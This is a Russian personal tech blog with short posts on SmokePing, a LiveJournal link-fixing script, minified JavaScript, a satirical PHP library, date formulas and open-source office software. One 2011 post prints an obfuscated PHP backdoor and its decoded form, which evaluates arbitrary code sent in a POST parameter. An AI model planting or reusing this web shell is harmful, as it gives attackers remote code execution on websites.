dil: (Default)
Wednesday, December 5th, 2018 01:57 pm

Как ни странно, SmokePing – это программа для отслеживания состояния компьютерных сетей и рисования соответствующих графиков, чтоб было удобнее посмотреть эти состояния за прошлое время.

Если кому интересно, исходники можно скачать с GitHub‘а.

Оригинал этой записи в личном блоге.

dil: (Default)
Tuesday, August 21st, 2018 08:55 pm

Когда я первоначально тестировал свой скрипт для замены http-ссылок в постах ЖЖ на https, вроде всё нормально работало. Но когда я его запустил на полный набор своих постов, то обнаружилась фигня – у большинства исправленных постов почему-то пропал Subject.
Оказалось, что в описании API действительно написано, что при изменении поста Subject должен быть обязательно указан. Но ведь без него же функция обновления постов вполне работает.. А ещё там написано, что надо обязательно указывать дату и время поста – но без них тоже работает, и прежние даты и время не пропадают. И тэги тоже не пропадают.

Короче, я слегка обновлил скрипт, чтобы Subject передавался, теперь вроде всё нормально. Кому интересно, можете его скачать по прежней ссылке: https://dil.pp.ru/tmp/replace_links_in_lj.py

Оригинал этой записи в личном блоге.

dil: (Default)
Friday, August 3rd, 2018 11:13 am

в своих постах ЖЖ, про что я писал в предыдущем посте, можете использовать мой скрипт: https://dil.pp.ru/tmp/replace_links_in_lj.py
Написан на питоне. Для запуска надо в него подписать свой логин и пароль.

Если надо проверять не все посты, а ограничить по датам, то подписать даты и время в startfrom и stopat. Но у постов при этом используются не явно указанные в них даты, а время последних изменений.

В replacefrom подписать регулярное выражение – что надо заменить, например, <img src="http://(адрес_сайта/) , а в replacewith – на что заменить, типа <img src="https:\1
\1 там используется для подстановки того, что в первом выражении было в первых круглых скобках, то есть, адрес сайта/ .

Если в процессе обработки постов встречается ошибка “You’ve exceeded a posting limit…”, то скрипт останавливается на 10 минут, а потом пробует ещё раз. Если опять та же ошибка, то опять останавливается, и т.д. При внесении изменений в мой журнал он останавливался иногда на 50 минут, иногда на 40, а иногда всего на 10. Но в целом он работал около 6 часов.

Оригинал этой записи в личном блоге.

dil: (Default)
Sunday, August 21st, 2016 01:11 pm

Очень просто: в gulp’е (это такая система, написанная на JS, предназначенная для автоматизации управления другими JS-скриптами) для этого есть готовый модуль: gulp-uglify.

И хотя в описании указано, что его цель — “minify files”, но таки называется он uglify. Так оно и есть, он ужимает JS до такой степени, что хотя формально код получается синтаксически правильным, и интерпретаторы его нормально понимают, но человеку прочитать и понять его смысл становится практически нереально. Ну сэкономили пачку пробелов и переводов строк, но с учётом пропускной способности нынешних интернет-каналов и объёмов оперативной памяти на клиентских компьютерах это не имеет особого смысла..

Оригинал этой записи в личном блоге.

dil: (Default)
Wednesday, June 25th, 2014 09:56 am

Оригинал этой записи в личном блоге.
Любые материалы из этого блога запрещается использовать на сайте livejournal.ru в любой форме и любом объёме.

dil: (Default)
Saturday, March 22nd, 2014 08:24 pm

Пришёл к выводу, что я чего-то в этом TCP/IP не понимаю..

И ведь оттуда что-то качается..

Upd: а так ещё красивее:

Оригинал этой записи в личном блоге.

dil: (Default)
Tuesday, December 10th, 2013 11:33 am

Специалисты по безопасности как бы намекают:

Оригинал этой записи в личном блоге.

dil: (Default)
Wednesday, October 30th, 2013 09:04 am

могут найти в одном телефоне две разные директории с совершенно одинаковыми названиями, но с разным содержимым..

Что директория одна и та же, было подтверждено сливанием их в одну после нажатия кнопки Refresh. До сих пор не могу понять, КАК можно было так написать программу..

Оригинал этой записи в личном блоге.

dil: (Default)
Sunday, March 24th, 2013 01:24 pm

In early stages of Internet, developers were forced to work with poor, dry, functional, horrific languages. Everything had to be done through austere functions and operators. There was no objects. No interfaces. No dependency injection.

For example, to make something as simple as an addition, our dads had to write: 1+1. Yeah, really.

Hopefuly now, we have PHP 5.3 and its solid OOP implementation. SimplePHPEasyPlus lets you make this addition in a more fashionable way, using real OOP. It is fast, simple, flexible and tested. To add 1 to 1, all you have to do is:

use SimplePHPEasyPlus\Number\NumberCollection;
use SimplePHPEasyPlus\Number\SimpleNumber;
use SimplePHPEasyPlus\Number\CollectionItemNumberProxy;
use SimplePHPEasyPlus\Parser\SimpleNumberStringParser;
use SimplePHPEasyPlus\Iterator\CallbackIterator;
use SimplePHPEasyPlus\Operator\AdditionOperator;
use SimplePHPEasyPlus\Operation\ArithmeticOperation;
use SimplePHPEasyPlus\Operation\OperationStream;
use SimplePHPEasyPlus\Engine;
use SimplePHPEasyPlus\Calcul\Calcul;
use SimplePHPEasyPlus\Calcul\CalculRunner;

$numberCollection = new NumberCollection();

$numberParser = new SimpleNumberStringParser();

$firstParsedNumber = $numberParser->parse('1');
$firstNumber = new SimpleNumber($firstParsedNumber);
$firstNumberProxy = new CollectionItemNumberProxy($firstNumber);

$numberCollection->add($firstNumberProxy);

$secondParsedNumber = $numberParser->parse('1');
$secondNumber = new SimpleNumber($secondParsedNumber);
$secondNumberProxy = new CollectionItemNumberProxy($secondNumber);

$numberCollection->add($secondNumberProxy);

$addition = new AdditionOperator('SimplePHPEasyPlus\Number\SimpleNumber');

$operation = new ArithmeticOperation($addition);

$engine = new Engine($operation);

$calcul = new Calcul($engine, $numberCollection);

$runner = new CalculRunner();

$runner->run($calcul);

$result = $calcul->getResult();
$numericResult = $result->getValue(); // 2

This library is now available for production purposes. Enjoy!

Отсюда
via

Оригинал этой записи в личном блоге.

dil: (Default)
Tuesday, June 21st, 2011 07:13 am

<?php eval(base64_decode("aWYoaXNzZXQoJну и т.д.")); ?>

После декодирования оно выглядит так:

if(isset($_GET["part"])) {  if($_GET["part"]=="sec")  echo "partgood"; } else if(isset($_POST["ggg"])) {   if($_POST["ggg"]==1)        echo "ok11";  } else if(isset($_POST["main"])) {  eval(urldecode($_POST["main"])); }

 

Оригинал этой записи. Комментировать можно тут или там.

Любые материалы из этого блога запрещается использовать на сайте livejournal.ru в любой форме и любом объёме

dil: (Default)
Tuesday, June 14th, 2011 10:31 am

https://ru-linux.livejournal.com/2728321.html

А вроде ж и не пятница ещё…

Оригинал этой записи. Комментировать можно тут или там.

Любые материалы из этого блога запрещается использовать на сайте livejournal.ru в любой форме и любом объёме

dil: (Default)
Tuesday, June 7th, 2011 03:26 pm

Товарищ, типа, расколупал алгоритмы skype и даже предлагает всеобщему вниманию часть исходников, позволяющую посылать в skype текстовые сообщения: http://skype-open-source.blogspot.com/2011/06/skype-protocol-reverse-engineered.html
Я их не скачивал, оценить достоверность не могу. Если кому интересно — посмотрите.

Оригинал этой записи. Комментировать можно тут или там.

Любые материалы из этого блога запрещается использовать на сайте livejournal.ru в любой форме и любом объёме

dil: (Default)
Tuesday, April 6th, 2010 02:53 pm

“После терактов всерьез заговорили о возможности установки металлоискателей в метро. В то же время поставщик и установщик уже действующих антитеррористических рамок угодил под уголовное преследование. Оперативники выяснили, что запчасти и программное обеспечение к металлоискателям, установленным в аэропортах, на таможне и объектах Федеральной службы охраны (ФСО), закупались у фирм-однодневок, зарегистрированных по подложным паспортам. И кто был истинным поставщиком «начинки» более чем для 900 металлодетекторов, до сих пор неизвестно.”

Это сильно, да.

via [info]motto

Оригинал этой записи. Комментировать можно тут или там.

Любые материалы из этого блога запрещается использовать на сайте livejournal.ru в любой форме и любом объёме

dil: (Default)
Friday, December 26th, 2008 11:29 pm
To find Y, M, D from MJD
Y' = int [ (MJD - 15 078,2) / 365,25 ]
M' = int { [ MJD - 14 956,1 - int (Y' × 365,25) ] / 30,6001 }
D = MJD - 14 956 - int (Y' × 365,25) - int (M' × 30,6001 )
If M' = 14 or M' = 15, then K = 1; else K = 0
Y = Y' + K
M = M' - 1 - K × 12


И после всего этого оказывается, что годы считаются от 1900.
Да, а время к этой дате хранится в дополнительных трёх байтах. В BCD.

Вопрос: что курили разработчики стандарта EN 300 468?
dil: (Default)
Thursday, July 3rd, 2008 12:36 pm
Извините, что я к вам обращаюсь!
Сами мы не местные, 20 семей на вокзале тонкостям вашего офисного софта не обучены, а сразу убивать себя об стену не хочется.

В общем, есть набор данных в виде екселевской таблицы (которую легко преобразовать в txt/csv/что ещё нужно). В ней три колонки: название, координата X, координата Y.
Типа такого:
foo,1.1,2.2
bar,3.1,4.5
baz,8.0,1.4

Надо: построить из этих данных график с одинаковым масштабом по горизонтали и вертикали, нанести на него точки, соответствующие каждой строке (только сами точки, линиями соединять не надо), и главное - около каждой точки подписать название.
Результат нужен в виде графического файла какого-нибудь общепринятого формата (png, jpg, bmp, gif,..). Всё.

Использовать разрешается excel, openoffice, gnuplot, любые другие доступные программы.

Помогите, кто чем может, дай вам бог здоровьичка..
dil: (Default)
Tuesday, June 17th, 2008 05:19 pm
"Многие не представляют себе компьютер без Microsoft Office, и мало кто знает что ему есть практически не уступающая по функционалу и удобству альтернатива которая носит название OpenOffice. И скорее всего принципиальной разницы вы не сможете найти между ними - OpenOffice прекрасно заменяет и работает с документами Microsoft Word, Excel, Power Point."


"MS SQL заменяется бесплатной MySQL, если Ваш админ не знает."
Ну хорошо хоть, что не Оракл.

"Большим сюрпризом оказалось то что сервер под никсы пришлось брать мощнее, чем под ПО от MS, потому что как справедливо заметил Артем, ПО от MS всем знакомо. Если что-то произойдет с MS SQL или Server 2008 Enterprise, то пофиксят. Если же с никсами что-то будет - проще сразу бОльшую мощность задействовать..."
Как мощность сервера соотносится с знакомостью ПО - у меня в голове не укладывается.

"При использовании бесплатного ПО все риски лежат на компании, при платном ПО - риски распределяются между пользователем и производителем."
Ага, щаз.

"То что вы цитируете по поводу лицензий снимает финасовую отвественость с производителя ПО, но попробуйте представить, что он отказывается исправлять свои ошибки"
Попробовал. Легко представил.


Остальные перлы: http://www.e-xecutive.ru/forum/forum37/topic4415/messages/

via [livejournal.com profile] nikulina
originally via [livejournal.com profile] ocume
dil: (Default)
Wednesday, July 4th, 2007 02:24 pm
Всего каких-то два дня прошло с релиза iPhone, а злобный хакер простой норвежский паренек Йон Йохансен (ранее известный в связи со взломом CSS) сломал защиту активации..
http://nanocr.eu/2007/07/03/iphone-without-att/

Правда, с привязкой к оператору еще не разобрались, но это явно вопрос времени.

via [livejournal.com profile] drugoi
dil: (Default)
Thursday, March 1st, 2007 05:38 pm
my $cmd = "$SSH $USER\@$log->{'host'} "
    ."\"perl -e '\\\$F=\\\"$log->{'file'}\\\"; \\\$M=(stat(\\\$F))[9]; "
    ."if(!defined(\\\$M)){print \\\"\\\$F not found\\n\\\";} "
    ."elsif(\\\$M < $log->{'lastrun'}){print \\\"\\\$F is stale\\n\\\";} "
    ;
  if(defined($log->{'regexp'})) {
    $cmd .= " else {system(\\\"grep '\\\"'\\\"'$log->{'regexp'}'\\\"'\\\"' \\\$F\\\");} ";
  }
  $cmd .= "'\"" ;